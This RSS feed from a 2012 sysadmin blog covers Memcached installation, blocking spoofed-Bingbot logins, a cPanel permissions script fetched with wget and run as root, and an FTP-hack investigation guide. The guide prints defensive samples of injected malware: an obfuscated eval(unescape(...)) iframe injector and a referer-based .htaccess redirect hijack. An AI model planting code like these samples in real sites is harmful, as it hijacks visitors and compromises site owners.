<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>[boomshadow.net~]#</title>
	<atom:link href="http://boomshadow.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://boomshadow.net</link>
	<description>Tech, filmmaking, &#38; thoughts.</description>
	<lastBuildDate>Tue, 21 Feb 2012 18:04:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>How to install Memcached</title>
		<link>http://boomshadow.net/tech/installs/how-to-install-memcached/</link>
		<comments>http://boomshadow.net/tech/installs/how-to-install-memcached/#comments</comments>
		<pubDate>Wed, 08 Feb 2012 19:42:38 +0000</pubDate>
		<dc:creator>boomshadow</dc:creator>
				<category><![CDATA[Software Installations]]></category>
		<category><![CDATA[centos 4]]></category>
		<category><![CDATA[centos 5]]></category>
		<category><![CDATA[centos 6]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[yum]]></category>

		<guid isPermaLink="false">http://boomshadow.net/?p=704</guid>
		<description><![CDATA[Memcache is one of the most popular caching tools used in hosting today. This guide will show you how to install it.]]></description>
			<content:encoded><![CDATA[<p><a href="http://boomshadow.net/wp-content/uploads/2012/02/memcached-icon.gif"><img src="http://boomshadow.net/wp-content/uploads/2012/02/memcached-icon-150x150.gif" alt="Memcached icon with Zoolander critters" title="Memcached Icon" width="100" height="100" class="alignleft size-thumbnail wp-image-710" /></a>This guide will help you setup Memcached on a CentOS server.</p>
<h4>What is caching</h4>
<p>Before diving into Memcache specifically, let&#8217;s take a step back. What is caching? Why should you care and why should you use it? Caching is used for two very important reasons: to speed up the delivery of the pages and to alleviate system resources. Caching is used to speed up dynamic sites; database driven sites will benefit most form caching. Think about a WordPress site. Each page you visit is not an actually file, but rather an amalgamation of the theme, widgets, posts, footers, headers, etc&#8230; Each time a page is accessed, PHP will generate the page requested on the fly from the database. It takes time to query the database to create the page. These database queries put a strain on the resources of your server.</p>
<p>However, what if instead of continually generating a new page, the same page, for every visitor, you were to turn those pages into static HTML files? No database querying is needed for the new visitors. A static file can be served up much faster and with significantly less resource consumption. Your visitors see their requested page sooner, and you save on CPU cycles. Everyone is happy. This is what caching does.</p>
<h4>What is Memcached</h4>
<p>Memcached is a general-purpose distributed memory caching system. It is one of the most popular caching tools and is used in such popular sites as: YouTube, Reddit, Zynga, Facebook, and Twitter.</p>
<p>According to Memcached&#8217;s <a href="http://www.memcached.org/" target="_blank">official site</a>, Memcached is defined as: Free &#038; open source, high-performance, distributed memory object caching system, generic in nature, but intended for use in speeding up dynamic web applications by alleviating database load.</p>
<h4>Installing Memcached (daemon)</h4>
<p>The quickest and easiest method would be to install via Yum. First, you must grab the RPM that matches your OS:</p>
<p>CentOS 6 (64 bit):</p>
<pre>su -c 'rpm -Uvh http://mirror.symnds.com/distributions/fedora-epel//6/x86_64/epel-release-6-5.noarch.rpm'</pre>
<p>CentOS 6 (32 bit):</p>
<pre>su -c 'rpm -Uvh http://mirror.symnds.com/distributions/fedora-epel//6/i386/epel-release-6-5.noarch.rpm'</pre>
<p>CentOS 5 (64 bit):</p>
<pre>su -c 'rpm -Uvh http://download.fedoraproject.org/pub/epel/5/x86_64/epel-release-5-4.noarch.rpm'</pre>
<p>CentOS 5 (32 bit):</p>
<pre>su -c 'rpm -Uvh http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm'</pre>
<p>CentOS 4 (32 bit):</p>
<pre>su -c 'rpm -Uvh http://mirror.symnds.com/distributions/fedora-epel//4/i386/epel-release-4-10.noarch.rpm'</pre>
<p>Now, to install it with Yum:</p>
<pre>yum install memcached</pre>
<p>Start the memcached service:</p>
<pre>/etc/init.d/memcached start</pre>
<p>Configure the memcached service to start when the server boots:</p>
<pre>chkconfig memcached on</pre>
<p>Finally, disable the RPM so that it is not used for future Yum functions:</p>
<pre>perl -pi -e "s/enabled=1/enabled=0/g;" /etc/yum.repos.d/epel.repo</pre>
<h2>Note about this article</h2>
<p>This article is one I had written for the ServInt blog as part of the &#8216;Tech bench&#8217; series. You can view it on the <a href="http://blog.servint.net/2012/02/20/the-tech-bench-memcached/" title="ServInt Blog" target="_blank">ServInt blog here</a>. Used with permission.</p>
]]></content:encoded>
			<wfw:commentRss>http://boomshadow.net/tech/installs/how-to-install-memcached/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spoofed Bingbot attacks against WP</title>
		<link>http://boomshadow.net/tech/fixes/spoofed-bingbot/</link>
		<comments>http://boomshadow.net/tech/fixes/spoofed-bingbot/#comments</comments>
		<pubDate>Thu, 02 Feb 2012 17:19:04 +0000</pubDate>
		<dc:creator>boomshadow</dc:creator>
				<category><![CDATA[Fixes]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[investigation]]></category>
		<category><![CDATA[mage]]></category>
		<category><![CDATA[spoofing]]></category>
		<category><![CDATA[user agent]]></category>
		<category><![CDATA[vhost]]></category>

		<guid isPermaLink="false">http://boomshadow.net/?p=648</guid>
		<description><![CDATA[Been seeing an influx of bot traffic attacking your site, bringing your server to it's knees? Well, I have a solution for that.]]></description>
			<content:encoded><![CDATA[<p>#Updates<br />
#02/04/12 &#8211; Revised wording to reinforce Bing&#8217;s perspective<br />
#02/02/12 &#8211; Modified block code to identify bingbot as &#8216;badbingbot&#8217; in case &#8216;bingbot&#8217; is already being used somewhere</p>
<p><a href="http://boomshadow.net/wp-content/uploads/2012/02/bingbot-wordpress.gif"><img src="http://boomshadow.net/wp-content/uploads/2012/02/bingbot-wordpress-150x150.gif" alt="Bingbot WordPress pic" title="Bingbot WordPress" width="150" height="150" class="alignleft size-thumbnail wp-image-676" /></a><br />
In the last 24 hours, I have seen a large scale attack on the admin logins for thousands of WordPress sites. The attackers are using the <a href="http://whatsmyuseragent.com/WhatsAUserAgent.asp" target="_blank">User Agent</a> &#8216;Bingbot&#8217;. Bingbot certainly is NOT the culprit in these attacks, but is, unfortunately, being spoofed. These spoofing bots are attacking the wp-admin page. So far, I have only seen this affect WP Mage and Mage Monster users.</p>
<p>A brute force attack on any login is certainly undesirable; you obviously don&#8217;t want any unauthorized person accessing your admin area. However, the real problem comes from the CPU strain this is putting on the hosting server. These constant requests to hundreds of websites on the server will drive up the CPU load, effectively tying up the resources. The server will not be able to serve up pages to legitimate traffic or legitimate search engine bots that are trying to crawl the sites.</p>
<p>There is a solution you can use to combat this problem. The solution is to block the Bingbot user agent from accessing your these admin pages. An IP based firewall block would do no good as the source IP&#8217;s have no common denominator; the IP&#8217;s are too spread out and come from many different geographical locations.</p>
<p>By implementing the following fix, you can reduce the loads back to normal operating levels allowing your site&#8217;s pages to load once again and you will not affect your rank with Bing. After a couple of days, the attack should have subsided and you should be able to safely reverse the changes. However, per Duane Forrester of Bing&#8217;s webmaster tools, you do not have to undo the block. There is no harm in permanently preventing your admin pages from being indexed (for reference, see <a href="http://boomshadow.net/tech/fixes/spoofed-bingbot/#comment-428950333">his comment here</a>).</p>
<h4>Are you affected?</h4>
<p>You can run a quick check to see if your sites are being hit with this spoofed Bingbot attack. Check your sites&#8217; domlogs and look for any Bingbot <a href="http://whatsmyuseragent.com/WhatsAUserAgent.asp" target="_blank">User Agent</a> requests that are hitting WordPress admin pages:</p>
<pre>
grep bingbot /usr/local/apache/domlogs/* | grep wp-login
</pre>
<p>If you receive numerous results from running that, especially from various IP addresses, it means that you are being affected. If you see many &#8216;POST&#8217; commands in there, it means they are also trying to log into WordPress.</p>
<p>Example:</p>
<pre>
/usr/local/apache/domlogs/domain.com:24.153.219.159 - - [01/Feb/2012:15:27:18 -0500] "GET /wp-login.php?redirect_to=http%3A%2F%2FDOMAIN.COM%2Fwp-admin%2F&#038;reauth=1 HTTP/1.1" 200 2206 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
/usr/local/apache/domlogs/domain.com:24.153.219.159 - - [01/Feb/2012:15:27:18 -0500] "POST /wp-login.php HTTP/1.1" 200 3084 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
</pre>
<h4>How to block them</h4>
<p>Now that you&#8217;ve verified that this directly affects you, time to block them and restore your server&#8217;s vitality.</p>
<h3>#1 &#8211; Edit the pre-virtual host conf</h3>
<p>We need to tell the server what is a &#8220;bad bot&#8221;. In this case, it is Bingbot. Then, we tell it to block it:</p>
<pre>
nano /usr/local/apache/conf/includes/pre_virtualhost_global.conf
</pre>
<p>At the bottom of the file add:</p>
<pre>
SetEnvIfNoCase User-Agent &quot;.*bingbot&quot; badbingbot

&lt;Files wp-login.php&gt;
	order allow,deny
	allow from all
	Deny from env=badbingbot
&lt;/Files&gt;
</pre>
<p>If you do not want to block Bingbot on every domain and would rather only block it on a few particular affected domains, you can, instead, make the change to each domains&#8217; virtual host via an include file. For more information, see cPanel&#8217;s documentation here: <a href="http://docs.cpanel.net/twiki/bin/view/EasyApache3/InsideVHost" target="_blank">http://docs.cpanel.net/twiki/bin/view/EasyApache3/InsideVHost</a></p>
<h3>#2 &#8211; Restart Apache</h3>
<p>Now it is time to restart Apache so that our changes can take effect:</p>
<pre>
service httpd restart
</pre>
<h4>Test it</h4>
<p>Which Apache restarted, you should see your CPU load start dropping immediately. You will want to test it to make sure that bingbot is successfully blocked. Do what the attackers are doing, access your page while spoofing your User agent as Bingbot:</p>
<pre>
wget -U "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" http://domain.com/wp-login.php
</pre>
<p>Be sure to change &#8216;domain.com&#8217; with your actual domain name. You should receive a 403 Forbidden error. If not, the file that is downloaded should be completely empty, meaning no content was served up.</p>
]]></content:encoded>
			<wfw:commentRss>http://boomshadow.net/tech/fixes/spoofed-bingbot/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>SOPA/PIPA &#8211; Join the Fight</title>
		<link>http://boomshadow.net/video/sopa-pipa-join-the-fight/</link>
		<comments>http://boomshadow.net/video/sopa-pipa-join-the-fight/#comments</comments>
		<pubDate>Fri, 20 Jan 2012 19:32:19 +0000</pubDate>
		<dc:creator>boomshadow</dc:creator>
				<category><![CDATA[Video]]></category>
		<category><![CDATA[films]]></category>
		<category><![CDATA[pipa]]></category>
		<category><![CDATA[sopa]]></category>

		<guid isPermaLink="false">http://boomshadow.net/?p=620</guid>
		<description><![CDATA[A video about the congressional bills: SOAP and PIPA. Help join the fight against them!]]></description>
			<content:encoded><![CDATA[
<p>There are two very important pieces of legislature that is being considered by Congress: SOPA &#038; PIPA. These bills are terrible in that they will irrevocably harm Internet freedom. I would go into more detail here, but I think a visual aid is a far better tool. This is a video I directed to help combat these bills. Made for <a href="http://StopTheWall.us" target="_blank">StopTheWall.us</a> via Engine Advocacy and <a href="https://twitter.com/mrcjdawson" target="_blank">Christian Dawson</a></p>
<p><iframe src="http://player.vimeo.com/video/35353431?title=0&amp;byline=0&amp;portrait=0" width="601" height="301" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe></p>
<p>Animation: Brian &#038; Chris Pennington w/ <a href="http://www.duomediaproductions.com/" target="_blank">DUO Media Productions</a><br />
Writers: Christian Dawson, Thomas Wilson, and myself<br />
Sound: DUO Media &#038; Sean Richwine<br />
Directed by: Me (Boom Shadow)  <img src='http://boomshadow.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a href="http://boomshadow.net/video/sopa-pipa-join-the-fight/attachment/pirate-ship-icon/" rel="attachment wp-att-626"><img src="http://boomshadow.net/wp-content/uploads/2012/01/pirate-ship-icon-150x150.gif" alt="Picture of the Internet Pirater&#039;s Ship" title="The Internet Pirater&#039;s Ship" width="75" height="75" class="alignleft size-thumbnail wp-image-626" /></a></p>
<p><a href="http://www.redbubble.com/people/boomshadow/works/8474399-anit-sopa-pipa-pirates" target="_blank">Pirate ship icon now available as a fun sticker!</a><br />
.<br />
.<br />
.</p>
]]></content:encoded>
			<wfw:commentRss>http://boomshadow.net/video/sopa-pipa-join-the-fight/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Auto fix for file permissions and ownership</title>
		<link>http://boomshadow.net/tech/fixes/fixperms-script/</link>
		<comments>http://boomshadow.net/tech/fixes/fixperms-script/#comments</comments>
		<pubDate>Sat, 22 Oct 2011 08:03:16 +0000</pubDate>
		<dc:creator>boomshadow</dc:creator>
				<category><![CDATA[Fixes]]></category>
		<category><![CDATA[403 forbidden]]></category>
		<category><![CDATA[500 internal server error]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[fastcgi]]></category>
		<category><![CDATA[fcgi]]></category>
		<category><![CDATA[fixperms]]></category>
		<category><![CDATA[ownership]]></category>
		<category><![CDATA[permissions]]></category>
		<category><![CDATA[suphp]]></category>

		<guid isPermaLink="false">http://boomshadow.net/?p=570</guid>
		<description><![CDATA[Ever get a '403 Forbidden error' or a '500 internal server error' due to bad permissions? It happens. Here is an easy automated fix for that!]]></description>
			<content:encoded><![CDATA[<p>#Updates:<br />
#01/26/2012 | New feature rich script written by Colin R.</p>
<p><a href="http://boomshadow.net/wp-content/uploads/2011/10/fixperms.gif"><img src="http://boomshadow.net/wp-content/uploads/2011/10/fixperms-150x150.gif" alt="Fixperms, fix permissions" title="fixperms" width="150" height="150" class="alignleft size-thumbnail wp-image-587" /></a></p>
<p>suPHP and FastCGI require files and folders to have a specific set of permissions/ownership from other handlers. Without these permissions set you will see a lot of errors such as: &#8220;403 Forbidden&#8221;, &#8220;500 Internal Server Error&#8221;, or simply generic errors that commonly have the word &#8216;permission&#8217; in them.</p>
<p>It can be very time consuming to track down and check file permissions across a whole server. Luckily, fixing this on a cPanel box can be scripted. This gives us a quick and very easy script you can wget to any cPanel server. Simply run the &#8216;fixperms&#8217; script, specifying the user (or all users), sit back and watch the errors just disappear. I use this script daily in my administrative work and it never fails! It is simply a good generic fix if you cannot find your permission problem, or if you have just switched your handler and need a quick way to change every user account on the server.</p>
<p>Credit does not go to me though. A good buddy of mine, <a href="http://colinrd.com/" target="_blank">Colin R.</a>, wrote this for ServInt. Thanks Colin for making lives easier!</p>
<p><strong>***WARNING!!!</strong> The following scripts are intended for <strong>suPHP</strong> or <strong>FastCGI</strong> ONLY! If you are not running either of these 2 handlers, do not run fixperms. The script will cause problems if you are running another handler such as DSO.</p>
<p>Furthermore, it is highly recommended that you run a full backup of your server before running fixperms or any other script that makes changes to multiple files.</p>
<p>This &#8216;fixperms&#8217; script is intended for cPanel servers only. It is dependent on cPanel&#8217;s internal scripts and file structure. If you&#8217;re on anything else (such as Plesk), it will simply fail to run. It won&#8217;t be able to do anything.</p>
<p>I know that criteria sounds very specific, but those two conditions cover a large number of the reseller/multi-user hosting servers out there. And that&#8217;s really the crowd that would benefit most from an automated script such as this.</p>
<h3>#1 &#8211; WGET Fixperms &#8211; for one single user</h3>
<p>To use the fixperms script, simply log into your server as root, wget the file from our server, then run it. Type in the cPanel username and it will run only for that particular account.</p>
<p>It does not matter which directory you are in when you run fixperms. You can be in the user’s home directory, the server root, etc. The script will not affect anything outside of the particular user’s folder.</p>
<pre>
wget boomshadow.net/wp-content/uploads/2011/10/fixperms.sh
sh ./fixperms.sh -a USER-NAME
</pre>
<h3>#2 &#8211; Fixperms &#8211; for all of the users</h3>
<p>If you would like fix the permissions for every user on your cPanel server, simply use the &#8216;&#8211;all&#8217; option:</p>
<pre>
./fixperms.sh --all
</pre>
<h3>#3 &#8211; Verbosity of Fixperms</h3>
<p>By default, the script runs in a &#8216;quiet&#8217; mode with minimal display. However, if you are like me, you may want to see everything that is happening. You can turn on verbosity and have the script print to the screen everything that is being changed. I find this extremely useful when fixing large accounts that have many files. You can watch the changes as a sort of &#8216;progress bar&#8217; of completion. The &#8216;-v&#8217; option can be used per account or with all accounts.</p>
<p>For one single account:</p>
<pre>
./fixperms.sh -v -a USER-NAME
</pre>
<p>For all accounts:</p>
<pre>
./fixperms.sh -v --all
</pre>
<h3>#3 &#8211; The code itself, what&#8217;s in it?</h3>
<p>I understand that it can be a big security concern to simply &#8216;wget&#8217; a file from a website you found, and then blindly run it on a production server. I understand your fear; I&#8217;m right there with you and would likewise be leery and very hesitant. However, I promise you that there is no malicious intent in this or anything you will ever get from my site. I have pasted the content of the file below for your examination.</p>
<pre>
#! /bin/bash
#
# Date: Jan 26th 2012
# Author: Colin Roche-Dutch
# Fixperms script for ServInt
#
#   Fixperms script for cPanel servers running suPHP or FastCGI
#   Written for ServInt.net
#   Copyright 2012 ServInt Corporation
#
#   This program is free software: you can redistribute it and/or modify
#   it under the terms of the GNU General Public License as published by
#   the Free Software Foundation, either version 3 of the License, or
#   (at your option) any later version.
#
#   This program is distributed in the hope that it will be useful,
#   but WITHOUT ANY WARRANTY; without even the implied warranty of
#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#   GNU General Public License for more details. http://www.gnu.org/licenses/

# Set verbose to null
verbose=""

#Print the help text
helptext () {
    tput bold
    tput setaf 2
    echo "Fix perms script help:"
    echo "Sets file/directory permissions to match suPHP and FastCGI schemes"
    echo "USAGE: fixperms [options] -a account_name"
    echo "-------"
    echo "Options:"
    echo "-h or --help: print this screen and exit"
    echo "-v: verbose output"
    echo "--all: run on all cPanel accounts"
    echo "--account or -a: specify a cPanel account"
    tput sgr0
    exit 0
}

# Main workhorse, fix perms per account passed to it
fixperms () {

  #Get account from what is passed to the function
  account=$1

  #Check account against cPanel users file
  if ! grep $account /var/cpanel/users/*
  then
    tput bold
    tput setaf 1
    echo "Invalid cPanel account"
    tput sgr0
    exit 0
  fi

  #Make sure account isn't blank
  if [ -z $account ]
  then
    tput bold
    tput setaf 1
    echo "Need an account name!"
    tput sgr0
    helptext
  #Else, start doing work
  else
    tput bold
    tput setaf 4
    echo "Fixing perms for $account:"
    tput setaf 3
    echo "------------------------"
    tput setaf 4
    echo "Fixing website files...."
    tput sgr0
    #Fix individual files in public_html
    find /home/$account/public_html -type d -exec chmod $verbose 755 {} \;
    find /home/$account/public_html -type f | xargs -r chmod $verbose 644
    find /home/$account/public_html -name '*.cgi' -o -name '*.pl' | xargs -r chmod $verbose 755
    chown $verbose -R $account:$account /home/$account/public_html/*

    tput bold
    tput setaf 4
    echo "Fixing public_html...."
    tput sgr0
    #Fix perms of public_html itself
    chown $verbose $account:nobody /home/$account/public_html
    chmod $verbose 750 /home/$account/public_html

    tput bold
    tput setaf 4
    echo "Fixing mail perms...."
    tput sgr0
    #Pass to cPanel's scripts to fix mail permissions
    if [ -z $verbose ]
    then
       /scripts/mailperm --skiplocaldomains --skipmxcheck --skipserverperm $account > /dev/null
    else
       /scripts/mailperm --verbose --skiplocaldomains --skipmxcheck --skipserverperm $account
    fi
    tput bold
    tput setaf 3
    printf "Finished!\n\n"
    tput sgr0
  fi

  return 0
}

#Parses all users through cPanel's users file
all () {
    cd /var/cpanel/users
    for user in *
    do
	fixperms $user
    done
}

#Main function, switches options passed to it
case "$1" in

    -h) helptext
	;;
    --help) helptext
	    ;;
    -v) verbose="-v"

	case "$2" in
		--all) all
		       ;;
		--account) fixperms "$3"
			   ;;
		-a) fixperms "$3"
		    ;;
		*) tput bold
     		   tput setaf 1
		   echo "Invalid Option!"
		   helptext
		   ;;
	esac
	;;
    --all) all
	  ;;
    --account) fixperms "$2"
      	 	;;
    -a) fixperms "$2"
	;;
    *)
       tput bold
       tput setaf 1
       echo "Invalid Option!"
       helptext
       ;;
esac
</pre>
<p>So there you have it. An effective permissions fix for your cPanel account. When you run this, people will think you&#8217;re a hero! So, go forth and save your users from the evils of site errors!</p>
<h2>Note about this article</h2>
<p>This article is one I had written for the ServInt blog as part of the &#8216;Tech bench&#8217; series. You can view it on the <a href="http://blog.servint.net/2012/01/27/the-tech-bench-a-script-for-fixing-file-permissions/" title="ServInt Blog" target="_blank">ServInt blog here</a>. Used with permission.</p>
]]></content:encoded>
			<wfw:commentRss>http://boomshadow.net/tech/fixes/fixperms-script/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>The beauty of sequenced sound</title>
		<link>http://boomshadow.net/thoughts/the-beauty-of-sequenced-sound/</link>
		<comments>http://boomshadow.net/thoughts/the-beauty-of-sequenced-sound/#comments</comments>
		<pubDate>Sun, 17 Apr 2011 06:19:30 +0000</pubDate>
		<dc:creator>boomshadow</dc:creator>
				<category><![CDATA[Thoughts]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[music]]></category>
		<category><![CDATA[tonematrix]]></category>

		<guid isPermaLink="false">http://boomshadow.net/?p=510</guid>
		<description><![CDATA[ToneMatrix is a little wave/sound generator. Hours of fun!]]></description>
			<content:encoded><![CDATA[
<p>While perusing my friend <a href="http://robbieelliott.tumblr.com/">Rob&#8217;s tumbl</a>, I saw this wonderful sound matrix program called &#8220;ToneMatrix&#8221;. Since then, I have seen this reposted many times on tumblr and Facebook. If for nothing more than archival sake (in case the original URL ever goes down), I&#8217;m posting/hosting it here.</p>
<p>Its pretty easy: Simply click on some squares to get the music started. You can hold down the mouse and drag across the screen. Click on a square again to turn it off. Press the &#8216;space bar&#8217; to clear. You can copy/paste your current pattern by right clicking.</p>
<p><center><br />
<object width="500" height="500" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"><param value="http://boomshadow.net/wp-content/uploads/2011/04/Matrix.swf" name="movie" /><param value="high" name="quality" /><embed width="500" height="500" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" quality="high" src="http://boomshadow.net/wp-content/uploads/2011/04/Matrix.swf"></embed></object><br />
</center></p>
<p>The link to the original page is here:<br />
<a href="http://lab.andre-michelle.com/tonematrix">http://lab.andre-michelle.com/tonematrix</a></p>
<p>Original text from the site:</p>
<blockquote><p>
Simple sinewave synthesizer triggered by an ordinary 16step sequencer. Each triggered step causes a force on the underlaying <a href="http://lab.andre-michelle.com/water">wave-map</a>, which makes it more cute.</p>
<p>Based on the <a href="http://www.hobnox.com/audiotool">AudioTool</a> engine thus no <a href="http://lab.andre-michelle.com/tag/source/">sources</a>, I am sorry.</p>
<p>Press SPACE key to clear. Right-Click for Copy&#038;Paste.</p>
<p><a href="http://blog.andre-michelle.com/2009/the-amazing-ride-of-tonematrix/">More info on my blog.</a>
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://boomshadow.net/thoughts/the-beauty-of-sequenced-sound/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>&#8220;The Bet&#8221; by Jay Gates</title>
		<link>http://boomshadow.net/video/the-bet/</link>
		<comments>http://boomshadow.net/video/the-bet/#comments</comments>
		<pubDate>Wed, 16 Mar 2011 10:55:11 +0000</pubDate>
		<dc:creator>boomshadow</dc:creator>
				<category><![CDATA[Video]]></category>
		<category><![CDATA[films]]></category>
		<category><![CDATA[Goldie Brown Productions]]></category>
		<category><![CDATA[Jay Gates]]></category>

		<guid isPermaLink="false">http://boomshadow.net/?p=483</guid>
		<description><![CDATA["The Bet" is the type of humorous film that one could imagine themselves sitting around doing the same thing with their friends. The wit is so wonderfully right up there with "Know how I know you're gay?" jokes, but with more class.]]></description>
			<content:encoded><![CDATA[
<p><a href="http://boomshadow.net/wp-content/uploads/2011/03/goldie-brown-logo.jpg"><img src="http://boomshadow.net/wp-content/uploads/2011/03/goldie-brown-logo-150x150.jpg" alt="Goldie Brown Productions logo" title="Goldie Brown Logo" width="75" height="75" class="alignleft size-thumbnail wp-image-499" /></a>&#8220;The Bet&#8221; is the type of humorous film that one could imagine themselves sitting around doing the same thing with their friends. The wit is so wonderfully right up there with &#8220;Know how I know you&#8217;re gay?&#8221; jokes, but with more class.</p>
<p>You can always count on comedian Jay Gates for a great laugh. Jay is an Actor/Comedian/Director/whatever-needs-to-be done kind of guy, hailing from grand ol&#8217; Virginia Beach. Be sure to check out his site: <a href="http://www.goldiebrown.com/">http://www.goldiebrown.com/</a>.</p>
<p>And now, for the funny:</p>
<p><iframe title="YouTube video player" width="640" height="390" src="http://www.youtube.com/embed/0GRCK3KyQ_0?rel=0" frameborder="0" allowfullscreen></iframe></p>
<p>Two office co-workers continue their daily ritual of trying to win &#8220;The Bet.&#8221;<br />
Starring: Danny Forte, Jay Gates, Rachael Lang &#038; Paige Victorino<br />
Written by: Danny Forte &#038; Jay Gates<br />
Directed &#038; Edited by: Jay Gates</p>
]]></content:encoded>
			<wfw:commentRss>http://boomshadow.net/video/the-bet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to investigate an FTP hack</title>
		<link>http://boomshadow.net/tech/how-to-investigate-an-ftp-hack/</link>
		<comments>http://boomshadow.net/tech/how-to-investigate-an-ftp-hack/#comments</comments>
		<pubDate>Sat, 26 Feb 2011 08:22:46 +0000</pubDate>
		<dc:creator>boomshadow</dc:creator>
				<category><![CDATA[Tech]]></category>
		<category><![CDATA[ftp]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[investigation]]></category>
		<category><![CDATA[logs]]></category>

		<guid isPermaLink="false">http://boomshadow.net/?p=279</guid>
		<description><![CDATA[Oh no! You've been hacked! I'll help you investigate the intrusion and get some wanted answers.]]></description>
			<content:encoded><![CDATA[<p><a href="http://boomshadow.net/wp-content/uploads/2011/02/broken-icon.jpg"><img src="http://boomshadow.net/wp-content/uploads/2011/02/broken-icon-150x150.jpg" alt="Sad computer icon" title="broken-icon" width="150" height="150" class="alignleft size-thumbnail wp-image-396" /></a>If you have a website, there is a good change that one day you will get hacked. It happens. With so many possible ways to intercept connections &amp; gain entry, you cannot safe guard them all, not permanently anyway. A determined intruder can get in. I myself have even had one of my cPanel accounts compromised. There are a number of methods for severely lowering the chances of an intrusion, but I will be saving that for it&#8217;s own article as it will be rather involved. For this article, I am going to show you how you can investigate a hack after it happens; specifically when it happens via FTP.</p>
<p>The most common way that a hacker gains access is with FTP. In order to do so, they must use your password. They can either simply guess it, have a bot guess it (see <a href="http://en.wikipedia.org/wiki/Dictionary_attack">Dictionary attack</a> and <a href="http://en.wikipedia.org/wiki/Brute-force_attack">Brute force attack</a>), or sniff it out from your computer. The last option involves installing software on your system that steals the password when you type it in.</p>
<p>In all the above cases, they gain your password and log in as you. The server thinks that you are the one connecting and has no way of telling that it is actually an intrusion; this is because they have authorized themselves as you. There are some precautions you can set up on the server to prevent password guessing, such as an brute force detecting firewall (See <a href="http://www.configserver.com/cp/csf.html">Config Server Firewall</a>). Again, I&#8217;ll go into detail in a future article. Let us begin with what to do <em>after</em>you are hacked.</p>
<h3>#1 &#8211; Identifying the hack</h3>
<p>The first step is learning that you are hacked. There are some pretty obvious ones that will jump out at you and then there are those that you may never notice till you edit the file (see example 1.3).</p>
<h4>#1.1 &#8211; Bad lines of code</h4>
<p>Typical hacks simply insert code into your pages. If you are lucky (relatively speaking), the code will actually be not execute properly and will make your pages produce errors such as this:</p>
<pre>Parse error: syntax error, unexpected '&amp;lt;' in /home/user/public_html/wp-includes/default-widgets.php on line 1162
</pre>
<p>You may also see miscellaneous other lines of errors or 500 Internal Server errors.</p>
<pre>
eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%69%65%6E%68%75%2E%63%6F%6D%2F%3F%31%35%36%33%30%38%32%38%22%20%77%69%
</pre>
<h4>#1.2 &#8211; Home page is replaced</h4>
<p>The hacker my opt to simply replace your entire page with their own. Typically I&#8217;ve seen this of the recreational or political hacker. Here are some unfortunate examples that I have witnessed on others&#8217; sites:</p>
<div id="attachment_376" class="wp-caption aligncenter" style="width: 160px"><a href="http://boomshadow.net/wp-content/uploads/2011/02/hacked-site1.gif"><img class="size-thumbnail wp-image-376 " title="hacked-site1" src="http://boomshadow.net/wp-content/uploads/2011/02/hacked-site1-150x150.gif" alt="Hacked site screen shot" width="150" height="150" /></a><p class="wp-caption-text">Example 1</p></div>
<div id="attachment_377" class="wp-caption aligncenter" style="width: 160px"><a href="http://boomshadow.net/wp-content/uploads/2011/02/hacked-site2.jpg"><img class="size-thumbnail wp-image-377 " title="hacked-site2" src="http://boomshadow.net/wp-content/uploads/2011/02/hacked-site2-150x150.jpg" alt="Hacked site screen shot" width="150" height="150" /></a><p class="wp-caption-text">Example 2</p></div>
<h4>#1.3 &#8211; Traffic stolen through .htaccess</h4>
<p>This one is probably the worst one of them all. This elegantly simple hack will steal your traffic by directing all visitors that come from a search engine to the hacker&#8217;s site. Meaning, if someone finds your site on Google, they will never actually get to your page. They&#8217;ll be taken elsewhere. This is achieved through the .htaccess:</p>
<pre>
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
